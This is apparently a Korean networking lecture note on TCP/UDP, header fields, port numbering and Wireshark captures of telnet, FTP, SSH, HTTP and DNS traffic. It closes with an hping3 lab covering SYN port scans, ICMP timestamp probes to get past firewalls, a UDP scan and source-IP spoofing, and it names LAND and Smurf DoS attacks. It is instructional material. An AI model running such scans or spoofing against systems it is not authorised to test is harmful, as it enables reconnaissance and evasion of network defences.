[네트워크 이론] 전송계층(Transport Layer)

 

 

10	전송계층(Transport Layer)

 

 

■ TCP / UDP의 특징

■ Header 분석

- TCP Header 분석

- UDP Header 분석

■ 포트 번호 체계

■ 대표적인 서비스 패킷 분석

- telnet packet 분석

- ftp packet 분석

- nslookup packet 분석

 

 

 

 

(1). 전송계층 프로토콜의 특징(Protocol Characteristic)

 

 

■ TCP(Transmission Control Protocal)

■ UDP(User Datagram Protocol)

 

 

(1-1). TCP(Transmission Control Protocal)

 

TCP[티씨피]는 인터넷상의 컴퓨터들 사이에서 데이터를 메시지의 형태로 보내기 위해 IP와 함께 사용되는 프로토콜이다. IP가 실제로 데이터의 배달처리를 관장하는 동안, TCP는 데이터 패킷을 추적 관리한다 (메시지는 인터넷 내에서 효율적인 라우팅을 하기 위해 여러개의 작은 조각으로 나뉘어지는데, 이것을 패킷이라고 부른다).

 

예를 들면, HTML 파일이 웹 서버로부터 사용자에게 보내질 때, 서버 내에 있는 TCP 프로그램 계층은 파일을 여러 개의 패킷들로 나누고, 패킷 번호를 붙인 다음, IP 프로그램 계층으로 보낸다. 각 패킷이 동일한 수신지 주소(IP주소)를 가지고 있더라도, 패킷들은 네트웍의 서로 다른 경로를 통해 전송될 수 있다. 다른 한쪽 편(사용자 컴퓨터 내의 클라이언트프로그램)에 있는 TCP는, 각 패킷들을 재조립하고, 사용자에게 하나의 완전한 파일로 보낼수 있을 때까지 기다린다.

 

TCP는 연결지향 프로토콜이라고 알려져 있는데, 이것은 메시지들이 각단의 응용 프로그램들에 의해 교환되는 시간동안 연결이 확립되고 유지되는 것을 의미한다. TCP는 IP가 처리할 수 있도록 메시지를 여러 개의 패킷들로 확실히 나누고, 반대편에서는 완전한 메시지로패킷들을 재조립할 책임이 있다. OSI 통신모델에서, TCP는 4계층인 트랜스포트 계층에 속한다.

 

TCP 프로토콜의 특징

연결형 기반 서비스(Connection Oriented Protocol)

상태 기반 서비스(Statefull Protocol)

신뢰 기반 서비스(Reliable Protocol)

 

(예) TCP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)

# cat /etc/services | grep –i tcp

# nmap localhost

# netstat -an | more

대표적인 TCP 기반 서비스:

- telnet- FTP(File Transfer Protocol)

- HTTP(Hypertext Transfer Protocol)

- ssh- SMTP(Simple Mail Transfer Protocol)

- NFSv4(Network File System Version 4)

- 기타

 

(1-2). UDP(User Datagram Protocol)

 

UDP[유디피]는 IP를 사용하는 네트웍 내에서 컴퓨터들 간에 메시지들이 교환될 때 제한된 서비스만을 제공하는 통신 프로토콜이다. UDP는 TCP의 대안이며, IP와 함께 쓰일 때에는 UDP/IP라고 표현하기도 한다. TCP와 마찬가지로 UDP도 한 컴퓨터에서 다른 컴퓨터로 데이터그램이라고 불리는 실제 데이터 단위를 받기 위해 IP를 사용한다. 그러나 UDP는 TCP와는 달리, 메시지를 패킷(데이터그램)으로 나누고, 반대편에서 재조립하는 등의 서비스는 제공하지 않으며, 특히 도착하는 데이터 패킷들의 순서를 제공하지 않는다. 이 말은 UDP를 사용하는 응용프로그램은, 전체 메시지가 올바른 순서로 도착했는지에 대해 확인할 수 있어야한다는 것을 의미한다. 교환해야할 데이터가 매우 적은(그러므로 재조립해야할 메시지도 매우 적은) 네트웍 응용프로그램들은 처리시간 단축을 위해 TCP 보다 UDP를 더 좋아할 수 있다. 일례로 TFTP는 TCP 대신에 UDP를 사용한다.

 

UDP는 IP 계층에서 제공되지 않는 두 개의 서비스를 제공하는데, 하나는 다른 사용자 요청을 구분하기 위한 포트 번호와, 도착한 데이터의 손상여부를 확인하기 위한 체크섬 기능이다.

 

OSI 통신 모델에서, UDP는 TCP와 마찬가지로 4계층인 트랜스포트 계층에 속한다.

 

UDP 프로토콜의 특징

비연결형 서비스(Connectionless Protocol)

비상태 서비스(Stateless Protocol)

비신뢰 서비스(Unreliable Protocol)

 

(예) UDP 프로토콜을 사용하는 대표적인 서비스(EX: CentOS 5.10)

# cat /etc/services | grep –i udp

# nmap localhost

# netstat -an | more

대표적인 UDP 서비스:

- DNS(Domain Name System) query

- SNMP(Sime Netowrk Management Protocol) data    

- NTP(Network Time Protocol) data

- TFTP(Trivial FTP)

- DHCP(Dynamic Host Configuration Protocol)

- NFS(Network File System)

- NFSv2, NFSv3

- RIP(Routing Information Protocol)

- 기타

 

 

[참고] Connection Oriented Protocol & Connectionless Protocol

 

(TCP)Connection Oriented Protocol

        syn - ack - ack (연결형 신호 방식)

(UDP)Connectionless Protocol

        ack가 없음(비연결형 방식)

 

[참고] Statfull Protocol & Stateless Protocol

 

(TCP)Statefull Protocol

       ack

(UDP)Stateless Protocol

 

 

[참고] Reliable Protocol & Unreliable Protocol

 

(TCP)Reliable Protocol

       ack신호가 없으면 받지 못한걸로 간주 TIMEOUT 발생 재전송 한다.

(UDP)Unreliable Protocol

 

 

 

 

 

 

 

(2). TCP 헤더 분석(TCP Header Analysis)

 

wireshark를 이용하여 telnet등 패킷 분석

 

 

[실습] TCP 패킷을 캡쳐하고 TCP 헤더를 분석

- telnet 과정 중 첫번째 패킷을 가지고 TCP 헤더를 분석한다.

- win2008(telnet CMD) --> linux200(telnetd(23))

 

Display Filter : ip.addr == 192.168.20.200

 

 

 

[참고] TCP 헤더 분석

- 기본 헤더 : 20bytes - 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes) - IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)   ■ 발신지 포트(Source Port, 16 bits) 송신 호스트 응용프로세스가 사용하는 번호   ■ 목적지 포트(Destnation Port, 16 bits) 수신 호스트 응용프로세스가 사용하는 번호   ■ 순차 번호(Sequence Number) TCP 각 세그먼트의 첫번째 바이트에 부여되는 번호. 신뢰성 있는 데이터 전송을 위해 모든 바이트마다 일련 번호 부착. 32bits 필드로 실제 데이터 첫 번째 바이트에 부여된 번호. 32 bits 이므로 최대 4기가(2^32) 바이트 크기의 송신 데이터에 순서화된 일련번호를 붙일수 있음 초기 순차번호(ISN, Initial Sequence Number) - TCP 연결설정 동안 난수발생기를 이용하여 초기순서번호(ISN)를 생성 - TCP 양방향이므로 각 방향 마다 다른 ISN 번호가 사용됨.   ■ 응답 확인 번호(Acknowledgement number, 32 bits) 수신한 세그먼트의 확인 응답을 위한 32bits 필드 세그먼트에 실린 데이터의 마지막 바이트의 순차 번호에 1을 더한 값. - 수신하기를 기대하는 다음 바이트 번호 = (마지막 수신 성공 순서번호 + 1)   ■ 헤더 길이(Header Length, 4 bits) TCP 헤더 길이를 나타내는 4bits 필드. 4바이트(32 비트) 단위로 표시. 따라서, TCP 헤더 길이는 총 60 바이트 이하 헤더의 길이가 20-60 이므로 5-12 사이의 값.   ■ TCP 제어 플래그(TCP Control Flag, 6 bits) 각 필드 흐름제어, 종료, 데이터 전송 모드용 6bit 구성.   URN : 긴급 플래그(Urgent pointer), 긴급한 처리를 요하는 것을 알림. - 송신측 상위계층이 긴급 데이터라고 하면, 긴급비트를 1로 설정하고 순서에 상관없이 먼저 송신됨, 긴급 데이터의 마지막 바이트 위치가 Urgent pointer로 가리켜짐   ACK : 응답(Acknowledgement) 플래그, 응답패킷에 모두 1로 세팅됨. - 1로 세팅되면, 확인번호 유효함을 뜻함- 0로 세팅되면, 확인번호 미포함(즉, 32비트 크기의 확인응답번호 필드 무시됨)- SYN 세그먼트 전송 이후 세그먼트에는 항상 이 비트가 1로 세팅이 됨.   PSH : Push 플래그, 실제 데이터의 전송이 일어나고 있음을 표시. - 가능한한 빨리 응용프로그램에 버퍼링된 데이터를 즉시 전달할것. 수신측은 버퍼가 찰 때까지 기다리지 않고 수신 즉시 어플리케이션에 전달.- 서버측에서는 더이상 전송할 데이터가 없음을 나타내기도 함.   RST : Reset 플래그, 비정상적인 종료를 위한 플래그. - 연결확립(ESTABLISHED)된 회선에 강제 리셋 요청.   SYN : 연결(Synchronize)요청 플래그, 정상적인 연결을 요청할 때 사용되는 플래그. - TCP 연결 설정 초기화를 위한 순서번호의 동기화 연결요청: SYN=1, ACK=0 연결허락: SYN=1, ACK=1 연결설정: ACK=1   FIN : Finish 플래그, 정상적인 연결의 종료에 사용되는 플래그- 송신기가 데이터 보내기를 끝마침 종결요청: FIN=1 종결응답: FIN=1, ACK=1 ■ 윈도우 크기(Window size, 16 bits) 응답 확인을 받기 전에 보낼 수 있는 데이터의 양을 뜻함. 윈도우 크기가 16bit이므로 최대 65535 Bytes(2^16)까지임. 흐름제어를 위해 사용하는 16비트 필드이며 TCP 흐름제어를 위해 통신의 상대편에게 자신의 버퍼 여유용량 크기를 지속적으로 통보하여 주는 기능을 함. 수신측에 의해 능동적으로 흐름제어를 수행하게 됨.   ■ 검사합(Checksum, 16 bits) 각 TCP 세그먼트 변형 여부 확인 IP와 달리 전체 세그먼트의 변형 여부를 나타낸다. 실제 헤더 이외에도 발신, 수신 IP 주소 및 프로토콜 ID등을 추가하여 체크섬을 계산함.   체크섬 계상 대상: (가상 헤더 + 실제 헤더 + 데이터 + 패딩) 가상 헤더: 발신 IP + 수신 IP + zero(8bits) + 프로토콜 ID + UDP/TCP 길이 실제 헤더: 실제 TCP/UDP 헤더   ■ 긴급포인터(Urgent Pointer, 16 bits) 세그먼트가 긴급 데이터를 포함하고 있을 때. 제어 플래그가 1로 설정시 16비트 필드값과 순차번호를 더하면 긴급 데이터 바이트 번호, 위치를 얻을 수 있음. TCP 세그먼트에 포함된 긴급 데이터의 마지막 바이트에 대한 일련번호. - 현재 일련번호(sequence number)로 부터 긴급 데이터까지의 바이트 오프셋(offset). - 해당 세그먼트의 일련번호에 urgent point 값을 더해 긴급 데이터의 끝을 알수 있음.   ■ 옵션(Options) 최대 40바이트까지 옵션 데이터 포함 가능. TCP MSS 옵션을 협상하거나, 타임스탬프 옵션 정의 등

 

 

 

 

 

 

(3) UDP 헤더 분석(UDP Header Analysis)

 

 

[실습] UDP 패킷을 캡쳐하고 UDP 헤더를 분석

RFC 768, RFC 1122

nslookup 명령어의 패킷을 캡쳐하고 UDP 헤더 부분을 분석한다.

linux200(nslookup CMD) --> kns.kornet.net(named(53))

 

Display Filter : ip.addr == 192.168.20.200

 

 

 

[참고] UDP 헤더 분석

- 기본 헤더 : 20bytes - 옵션 사용시 헤더의 최대 크기 : 60bytes (헤더의 길이: 20 ~ 60 bytes) - IP 주소 + 포트 번호 = 소켓 번호 (양쪽 호스트 내 종단 프로세스 식별)   ■ 발신 포트(Source Port, 16 bits) 송신 호스트 응용프로세스가 사용하는 번호   ■ 수신 포트(Destnation Port, 16 bits) 수신 호스트 응용프로세스가 사용하는 번호   ■ 패킷 전체 길이(Packet Total Length, 16bits) 바이트 단위의 길이. 최소값 8(헤더만 포함될 때)   ■ 검사합(Checksum, 16 bits) 선택 항목. 체크섬 값이 0이면 수신측은 체크섬 계산 안함

 

 

 

 

 

 

(4) 포트(Port) 번호 체계

 

 

포트(Port) = 서비스(Service)

 

(4-1) 포트 번호가 필요한 이유? 하나의 서버에 많은 서비스를 제공하기 위함(포트번호 : 서비스)

 

■ IP 주소(IP Address) : 호스트(Host) 또는 물리적인 포트를 구분하기 위한 번호

■ 포트 주소(Port Address, Port Number) : 서비스(Service) 구분하기 위한 번호

 

(4-2) 포트 번호(Po-rt Number)에 대한 설명

 

MAC 주소(MAC Addr) : 6 bytes (48 bits)

IP 주소(IP Addr) : 4 bytes (32 bits)

Port 주소(Port Num): 2 bytes (16 bits)

 

포트번호는 인터넷이나 기타 다른 네트웍 메시지가 서버에 도착하였을 때, 전달되어야할 특정 프로세스를 인식하기 위한 방법이다. TCP와 UDP에서, 포트번호는 단위 메시지에 추가되는 헤더 내에 넣어지는 16 비트 정수의 형태를 갖는다. 이 포트번호는 논리적으로는 클라이언트와 서버의 전달계층 사이를, 그리고 물리적으로는 전달계층과 인터넷계층 사이를 통과하여, 계속 전달 된다.

 

예를 들면, 클라이언트가 인터넷 서버에 하는 요청은, 호스트의 FTP 서버에 의해 제공되는 파일을 요청하는 것일 수 있다. 원격지의 서버 내에 있는 FTP 프로세스에 사용자의 요청을 전달하기 위해, 사용자 컴퓨터에 있는 TCP 소프트웨어 계층은 요청에 부가되어지는 16 비트 정수의 포트 번호 내에 21 (FTP 요청과 관련하여 통상 사용되는 번호이다) 이라는 포트번호를 확인한다. 서버에서, TCP 계층은 21이라는 포트번호를 읽고, 사용자의 요청을 서버에 있는 FTP 프로그램에 전달할 것이다.

 

일부 서비스들에 대해서는 인습적으로 영구적인 포트번호들이 할당되어 있다. 이러한 것들을 well-known ports라고 부른다. 그 외의 경우에는, 포트번호는 할당된 포트번호들의 범위 내에서 요청의 시작과 종료 동안에만 일시적으로 부여된다.

 

(4-3) 포트 번호 체계

 

----------------------------------------------------------

포트 종류                               포트 번호

----------------------------------------------------------

■ The Well-Known Ports                     0 - 1023    (잘알려진 서비스 포트내역)

■ The Registered Ports                     1024 - 49151 (서버용 포트는 고정되어 있어야 한다.)

■ The Dynamic and/or Priv ate Ports.       49152 - 65535

----------------------------------------------------------

 

 

 

(4-4) 네트워크 서비스 포트

# cat /etc/services | more

 

 

 

 

 

(4-5) 대표적인 서비스 포트 :

http://hyess.tistory.com/admin/entry/post/?id=146

 

 

 

(4-6) 포트번호 확인

 

■ 포트번호의 전체 목록:

http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml

■ 포트번호의 전체 목록:

# cat /etc/services

■ 서버에서 사용중인 포트번호 번호 목록

# nmap localhost

# netstat -an | more (# netstat -antp, # netstat -anup)

 

 

 

 

(5-7) 실무적인 예

 

(특정 ip의 서비스 포트 요청)

 

--------- (Firewall/Router) -------+--------+--------+------

                                   |        |        |

                                ServerA  ServerB  ServerC

                                 (FTP)    (WEB)    (MAIL)

 

 

(전제조건) 서버에서만 서비스 하는 경우라고 가정한다면

 

(서버에서)

요청: FTP 서비스 포트를 열어 달라!!!!

-> FTP 서비스 enable

 

(네트워크 장비:라우터/스위치/방화벽)

요청: FTP 서비스 포트를 열어 달라!!!!

-> FTP 서비스 접근 제어(ACL) Open

 

사용방법

# netstat -ant (TCP)

# netstat -anu (UDP)

# netstat -anp (Program)( antp, anup )

 

(linux200)

# nmap localhost     (# nmap -p 21 localhost)

# netstat -an | grep :21

 

  LISTEN 포트가 열려있는 상태

 

 

# service vsftpd stop

# nmap localhost

# netstat -an | grep :21

 

 

# service vsftpd start

# nmap localhost

# netstat -an | grep :21

 

 

 

 

 

 

 

 

 

 

 

[실습] 자신의 서버에 열린 포트를 점검

 

자신의 서버에 서비스가 되고 있는 열린 포트를 점검하기.hwp

 

 

 

자신의 서버에 서비스가 되고 있는 열린 포트를 점검하기

 

 

 

 

 

[실습] 자신 서버에 서비스되고 있는 열린 포트를 점검하기

 

■ 사용시스템

- firewall

- linux200

- win2008

 

 

(linux200)

 

■ 리눅스 서버에서 서비스 포트 정리하기

# cat /etc/services

-> 대표적인 서비스의 서비스 포트를 확인한다.

-> EX) ftp, telnet, ssh, mail, dns, dhcp, pop3 등

 

-> 대표적인 서비스 포트들을 목록으로 정리한다.(2분)

[링크] /etc/services (CentOS 5.9)

 

 

■ 리눅스 서버에서 nmap 명령어의 출력 결과와 /etc/services 파일 비교하기

nmap 툴을 사용하는 경우

# cat /etc/resolv.conf

nameserver 168.126.63.1

 

# yum -y install nmap

# nmap localhost

-> 목록의 서비스와 /etc/services 파일을 비교한다.

-> FTP 서비스 open?

-> SSH 서비스 open?

-> TELNET 서비스 open?

 

 

■ 리눅스 서버에서 netstat 명령어 사용해 보기

netstat 명령어를 사용하는 경우

# netstat -an | more

# netstat -an | grep '^tcp' (# netstat -ant)

# netstat -an | grep '^udp' (# netstat -anu)

 

 

 

 

(windows2008)

 

■ 윈도우즈 2008 서버에서 etc/services 파일 확인해 보기

<Windows + E> => C:\Windows\system32\drivers\etc\services 파일을 확인한다.

 

 

 

 

■ 윈도우즈 2008 서버에 nmap 툴을 설치하기

nmap 툴을 사용하는 경우(기능이 많다)

- 프로그램 다운로드 사이트

https://nmap.org/download.html

- 기본설치를 하고 바탕화면의 아이콘을 더블클릭한다.(7.31v)

- nmap 실행시 기본값으로 포트 스캐닝 작업을 한다.

 

 

 

■ 구글/네이버에 접속하고 netstat 명령어를 접속 서버에 대한 정보를 확인해 보기

netstat 명령어를 사용하는 경우

c:\> netstat -a

 

웹브라우저(http://www.google.co.kr)

 

c:\> netstat -a

 

 

 

 

 

 

 

 

 

 

(5). TCP/UDP 대표적인 서비스 패킷 분석

 

■ telnet 패킷 분석

■ ftp 패킷 분석

■ ssh 패킷을 캡쳐하여 분석

■ web 패킷을 분석

■ nslookup 패킷 분석

 

 

[실습] telnet 패킷을 분석하기

Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.

win2008(telnet CMD) --> linux200(telnetd(23))

telnet 192.168.20.200

root 

 

ls

cd /test

cd /tmp

ifconfig

exit 

 

 

 

암호화 되어있지 않다.

 

 

 

실제로 서버에 접속하지 않고 메세지만 주고 받는 형태

 

 

 

 

[실습] ftp 패킷을 분석하기

Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.

win2008(ftp CMD) --> linux200(vsftpd(21,20))- ftp 접속시 active(not passive)로 접속한다

 

FTP 패킷을 분석하기

 

사용 시스템
- win2008(ftp CMD)
- linux200(vsftpd(21))

 

 

(linux200)
# service vsftpd restart
# chkconfig vsftpd on

 

# ftp localhost
root 사용자로 로그인
> quit
-> 서비스가 되는지만 확인

 

(windows2008)

 

c:\test\1111 파일을 생성한다.
-> FTP 서버로 전송할 파일을 생성한다.

 

 

wireshark를 실행한다.

 

c:> ftp 192.168.20.200
root 사용자로 로그인

 

> cd /root
> lcd c:\test

 

> bin
> hash
> prompt

 

> mput 1111*

 

> quit
c:> exit

 

 

시작 부분

 

 

 

 

 

서버에서 온 패킷에는 숫자가 적혀있다.

 

 

 

 

 

FTP-Data 전송모드 20번포트

 

 

 

 

접속을 끊는 마지막 부분

 

 

 

서버에서 온 메세지는 숫자가 붙어있다.

숫자에 종류에 따라 메세지의 종류가 갈린다.

 

Winclient 가 Linux 에  액티브 모드 방식으로 붙어서 데이터 전송을 이루었다.(포트를 2개사용)

[참고] Active Mode & Passive Mode 설명

 

 Active Mode = Non-passive Mode

 

http://www.altools.co.kr
-> 알드라이브 다운로드

 

 

 

 

 

 

[실습] ssh 패킷을 캡쳐하여 분석한다.

평문형태와 암호화된 형태의 패킷의 차이점에 대해 분석한다.

win2008(putty) --> linux200(sshd(22))

 putty download

 

 

 

 

 

 

 

 

 

 

 

키교환 이후 암호화 되어서 전송되고 있다.

종단간의 통신은 애플리케이션 데이터만 암호화

 

 

처음부터 모두 암호화 하려면 중간에 암호화기계를 사용

 

 

 

 

단순 ls명령어 하나만 하고 나왔음에도 패킷이 많다.

 

 

 

 

 

 

 

[실습] WEB 패킷을 캡쳐하여 분석한다.

Tree-way handshake 부분을 중점적으로 분석한다.-> "SYN - ACK/SYN - ACK" 부분에 대한 숫자를 적어 놓는다.

win2008(Web Browser) --> linux200(httpd(80))

 

 

리눅스 서버에 index.html을 설정한다

 

윈도우서버 웹 주소에 192.168.20.200을 입력대기한다.

 

 

 

 

HTTP는 암호화 되지 않는다.

 

 

[실습] nslookup 패킷 분석하기

DNS 헤더(DNS Data) 부분을 중점적으로 분석한다.

linux200(nslookup CMD) --> kns.kornet.net(named(53))

display filter : ! arp && ! dhcpv6 && ip.addr == 192.168.20.200

 

vi /etc/resolv.conf

servername 168.126.63.1

나머지 삭제

 

root[/var/www/html]#nslookup www.seoul.ac.kr
Server:         168.126.63.1
Address:        168.126.63.1#53

Non-authoritative answer:
Name:   www.seoul.ac.kr
Address: 147.46.10.58

 

 

 

 

 

 

 

 

 

 

[실습] ping 안되는 사이트에 대한 hping3 명령어 사용하기

 

  [실습] ping 안되는 사이트에 대한 hping3 명령어 사용하기

 

ping 안되는 사이트에 대한 hping3 사용하기

 

 

 

 

■ 사용시스템

- kaliLinux

 

* ping 안되는 사이트(대표적인 사이트)

-> www.daum.net

-> www.naver.com

 

 

* ping 잘되는 사이트(대표적인 사이트)

-> www.google.com

-> www.facebook.com

 

 

(KaliLinux)

# cat /etc/resolv.conf

search example.com domain example.com nameserver 168.126.63.1

 

# wireshark &

 

# ping -c 3 www.daum.net

PING www.g.daum.net (117.52.2.26) 56(84) bytes of data.   --- www.g.daum.net ping statistics --- 3 packets transmitted, 0 received, 100% packet loss, time 2017ms

-> ping 되는가? 되지 않는다.

-> 안된다면 www.daum.net 사이트가 죽어 있는 것인가?

  보안 설정이 들어있어서 ping 명령어를 사용할 수 없다. 그렇다고 해서 죽어 있는건 아니다.

 

# hping3 --help

Mode

default mode TCP

IP mode,ICMP mode,..존재

 

[!]

hping3 임의에 패킷을 마음대로 생성할수있다.

패킷생성시 부하량이 심해진다.(네트워크의 성능,부하량 테스트를 해 볼수도 있다.)

 

 

# hping3 -S www.daum.net -p 80 -c 3 ( -S TCPmode, --syn set SYN flag SYN부분에 체크해서 보낸다, -p 포트번호, -c 카운트)

 -S : tcp syn request

 -p : port

 -c : which times you send request

HPING www.daum.net (eth0 180.70.93.56): S set, 40 headers + 0 data bytes len=46 ip=180.70.93.56 ttl=128 id=2956 sport=80 flags=SA seq=0 win=64240 rtt=11.0 ms len=46 ip=180.70.93.56 ttl=128 id=2957 sport=80 flags=SA seq=1 win=64240 rtt=8.8 ms len=46 ip=180.70.93.56 ttl=128 id=2958 sport=80 flags=SA seq=2 win=64240 rtt=12.0 ms   --- www.daum.net hping statistic --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 8.8/10.6/12.0 ms

 

 

패킷 로스가 없다. 

 

 

  ip.addr == 192.168.10.50

 

 

 

[토론] 어떤 방식인것인가?

- 패킷을 분석하여 어떤 방식으로 통신이 되고 있는 것인지 분석한다.

 

display options: ! dns && ! arp && ip.addr == 192.168.10.50

 

(wireshark 출력 화면)

2015-07-23 07:36:25.784084000 192.168.10.50 180.70.93.56 TCP 54 h248-binary > http [SYN] Seq=0 Win=512 Len=0

2015-07-23 07:36:25.794896000 180.70.93.56 192.168.10.50 TCP 60 http > h248-binary [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460

2015-07-23 07:36:25.794971000 192.168.10.50 180.70.93.56 TCP 54 h248-binary > http [RST] Seq=1 Win=0 Len=0

 

 

 

  웹 -> TCP 방식

TCP 방식으로 테스트

 

 

 

 

hping3 툴에 대한 다른 스캐닝 방법도 배워보자.

- 다음 방법을 수행할 때 각각에 대한 패킷 캡쳐를 통해 분석하여 보자.

 

# hping3 --help 살펴보기(첨부파일참조)

# hping3 -h (# hping3 --help)

 

 

(1) 첫번째 테스트

# hping3 -S 192.168.20.200 -p 80 -c 5

-S : tcp syn request

-p : port

-c : which times you send request

in this case we use 5 for send request 5 times

HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=5840 rtt=1.6 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=5840 rtt=0.7 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=5840 rtt=0.7 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=3 win=5840 rtt=0.8 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=80 flags=SA seq=4 win=5840 rtt=0.7 ms   --- 192.168.20.200 hping statistic --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.7/0.9/1.6 ms

-S : Syn 부분에 체크해서 확인하는 모드 

 

 

(2) 두번째 테스트

# hping3 -S 192.168.20.200 -p ++50 -c 5 /* DNS ip */ 포트를 증가시켜가며 5번

-S : tcp syn request

-p : port(++50 : 50 ~ 54)

HPING 192.168.20.200 (eth1 192.168.20.200): S set, 40 headers + 0 data bytes len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=50 flags=RA seq=0 win=0 rtt=1.6 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=51 flags=RA seq=1 win=0 rtt=0.6 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=52 flags=RA seq=2 win=0 rtt=0.4 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=53 flags=SA seq=3 win=5840 rtt=0.8 ms len=46 ip=192.168.20.200 ttl=64 DF id=0 sport=54 flags=RA seq=4 win=0 rtt=0.4 ms   --- 192.168.20.200 hping statistic --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.4/0.8/1.6 ms

 

포트 스캐닝 하는 경우 

RA 상대편 포트가 닫혀있다.

SA 포트가 살아있다.

 

 

 

 

 

(3) 세번째 테스트

# hping3 -1 192.168.20.200 --icmp-ts -c 5

-1 : use ICMP

--icmp-ts : request time stemp

-c : which times you send request

HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes len=46 ip=192.168.20.200 ttl=64 id=25629 icmp_seq=0 rtt=0.4 ms ICMP timestamp: Originate=29986664 Receive=29985666 Transmit=29985666 ICMP timestamp RTT tsrtt=0   len=46 ip=192.168.20.200 ttl=64 id=25630 icmp_seq=1 rtt=0.3 ms ICMP timestamp: Originate=29987665 Receive=29986667 Transmit=29986667 ICMP timestamp RTT tsrtt=0   len=46 ip=192.168.20.200 ttl=64 id=25631 icmp_seq=2 rtt=0.3 ms ICMP timestamp: Originate=29988665 Receive=29987668 Transmit=29987668 ICMP timestamp RTT tsrtt=1   len=46 ip=192.168.20.200 ttl=64 id=25632 icmp_seq=3 rtt=0.3 ms ICMP timestamp: Originate=29989666 Receive=29988668 Transmit=29988668 ICMP timestamp RTT tsrtt=0   len=46 ip=192.168.20.200 ttl=64 id=25633 icmp_seq=4 rtt=0.3 ms ICMP timestamp: Originate=29990666 Receive=29989669 Transmit=29989669 ICMP timestamp RTT tsrtt=1     --- 192.168.20.200 hping statistic --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.3/0.3/0.4 ms

상대편 서버가 살아있는지 확인하고 싶은데 중간에 방화벽 등이 일반적인 에코를 차단하고 있어서

차단하지 않고있는 엉뚱한 패킷을 전송해보는 방법(보안장비 대처)

 

 

(4) 네번째 테스트

# hping3 -8 50-56 -S 192.168.20.200

we also use hping3 like nmap

-8 : scan

-S : tcp syn request

Scanning 192.168.20.200 (192.168.20.200), port 50-56 7 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags   |ttl| id  | win | len | +----+-----------+---------+---+-----+-----+-----+   53 domain      : .S..A... 64    0    5840   46 All replies received. Done. Not responding ports:

 

50~56번 포트 Syn체크해서 전송하는 방법

 

 

 

(5) 다섯번째 테스트

# hping3 -2 192.168.20.200 -p 80 -c 5

-2 : UDP scan

-p : port

-c : which times you send request

HPING 192.168.20.200 (eth1 192.168.20.200): udp mode set, 28 headers + 0 data bytes ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN status=0 port=2626 seq=0 ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN status=0 port=2627 seq=1 ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN status=0 port=2628 seq=2 ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN status=0 port=2629 seq=3 ICMP Port Unreachable from ip=192.168.20.200 name=UNKNOWN status=0 port=2630 seq=4   --- 192.168.20.200 hping statistic --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.4/35.6/176.2 ms

 

UDP스캔을 하였을 때

 

 

 

 

(6) 여섯번째 테스트

 

# wireshark &

192.168.20.204 192.168.20.200 ICMP 42 Echo (ping) request id=0xa215, seq=0/0, ttl=64

3 192.168.20.204 192.168.20.200 ICMP 42 Echo (ping) request id=0xa215, seq=256/1, ttl=64

5 192.168.20.204 192.168.20.200 ICMP 42 Echo (ping) request id=0xa215, seq=512/2, ttl=64

 

2 31.823261000 192.168.20.201 192.168.20.200 ICMP 42 Echo (ping) request id=0xda15, seq=0/0, ttl=64 (reply in 5)

5 31.825092000 192.168.20.200 192.168.20.201 ICMP 60 Echo (ping) reply id=0xda15, seq=0/0, ttl=64 (request in 2)

8 31.826226000 192.168.20.201 192.168.20.200 ICMP 70 Destination unreachable (Protocol unreachable)

 

-> 패킷 분석(소스 IP 부분을 확인)

 

# hping3 -1 192.168.20.200 -a 192.168.20.204 -c 3

HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes   --- 192.168.20.200 hping statistic --- 3 packets transmitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms

 

# hping3 -1 192.168.20.200 -a 192.168.20.201 -c 3

HPING 192.168.20.200 (eth1 192.168.20.200): icmp mode set, 28 headers + 0 data bytes len=46 ip=192.168.20.200 ttl=64 id=41975 icmp_seq=0 rtt=2.0 ms len=46 ip=192.168.20.200 ttl=64 id=41976 icmp_seq=1 rtt=0.8 ms len=46 ip=192.168.20.200 ttl=64 id=41977 icmp_seq=2 rtt=0.5 ms   --- 192.168.20.200 hping statistic --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.5/1.1/2.0 ms

 

 

 

 

 

 

 

 

 

 

 

 

 

■ DoS(Denial of Service) Attack Type

 

 

■ DoS(Denial of Service) Attack Type

 

LAND Attack -> DoS attack (1:1)

Smurf Attack -> DDoS attack(N:1)

 

 
LAND (Local Area Network Denial) Attack은 DoS (Denial of Service) 공격입니다.

 

 

 

